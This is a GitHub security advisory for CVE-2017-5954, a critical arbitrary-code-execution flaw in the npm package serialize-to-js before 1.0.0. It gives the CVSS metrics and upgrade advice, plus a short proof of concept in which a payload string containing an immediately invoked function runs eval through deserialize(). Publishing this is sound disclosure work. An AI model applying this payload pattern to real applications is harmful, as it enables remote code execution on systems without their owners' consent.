Skip to content

Code Execution Through IIFE in serialize-to-js

Critical severity GitHub Reviewed Published Jul 18, 2018 to the GitHub Advisory Database • Updated Nov 29, 2023

Package

npm serialize-to-js (npm)

Affected versions

< 1.0.0

Patched versions

1.0.0

Description

Affected versions of serialize-to-js may be vulnerable to arbitrary code execution through an Immediately Invoked Function Expression (IIFE).

Proof of Concept

var payload = "{e: (function(){ eval('console.log(`exploited`)') })() }"
var serialize = require('serialize-to-js');
serialize.deserialize(payload);

Recommendation

Update to version 1.0.0, or later, and review this disclaimer from the author.

References

Published to the GitHub Advisory Database Jul 18, 2018
Reviewed Jun 16, 2020
Last updated Nov 29, 2023

Severity

Critical
9.8
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Weaknesses

CVE ID

CVE-2017-5954

GHSA ID

GHSA-mm62-wxc8-cf7m

Credits

Checking history
See something to contribute? Suggest improvements for this vulnerability.